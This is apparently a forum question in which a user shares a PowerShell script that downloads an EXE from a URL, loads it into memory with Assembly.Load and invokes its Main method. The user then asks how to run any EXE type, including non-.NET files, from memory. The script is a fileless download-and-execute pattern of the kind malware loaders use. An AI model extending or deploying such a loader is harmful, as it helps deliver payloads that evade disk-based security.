Hello i want load a assembly from byte array and i found this:
Loading a .NET assembly from a byte array
It only loads .NET byte array.
And here is my code i changed it a little bit:
$ByteArray = (Invoke-WebRequest "https://DOTNETEXEfile.exe").Content
# Base64
$Base64String = [System.Convert]::ToBase64String($ByteArray);
$PsEBytes = [System.Convert]::FromBase64String($Base64String)
# Run EXE in memory
$assembly = [System.Reflection.Assembly]::Load($PsEBytes)
# Get the static method that is the executable's entry point.
# Note:
# * Assumes 'Program' as the class name,
# and a static method named 'Main' as the entry point.
# * Should there be several classes by that name, the *first*
# - public or non-public - type returned is used.
# If you know the desired type's namespace, use, e.g.
# $assembly.GetType('MyNameSpace.Program').GetMethod(...)
$entryPointMethod =
$assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').
GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
# Now you can call the entry point.
# This example passes two arguments, 'foo' and 'bar'
$entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))
But we have a problem, It works when i put my link of a c# project that has a msgbox and its .NET, its works fine but when i put a form app exe (.NET) it gives me that error:
PS C:\Users\sadettin\Desktop> C:\Users\sadettin\Desktop\PE.ps1
Exception calling "Invoke" with "2" argument(s): "parameter number mismatch."
At C:\Users\sadettin\Desktop\PE.ps1:25 char:1
+ $entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : TargetParameterCountException
but when i replace $entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))
with $entryPointMethod.Invoke($null, $null)
it works
Also when i put a exe (its not .NET) it doesn't work so is there have a way to execute all exe types?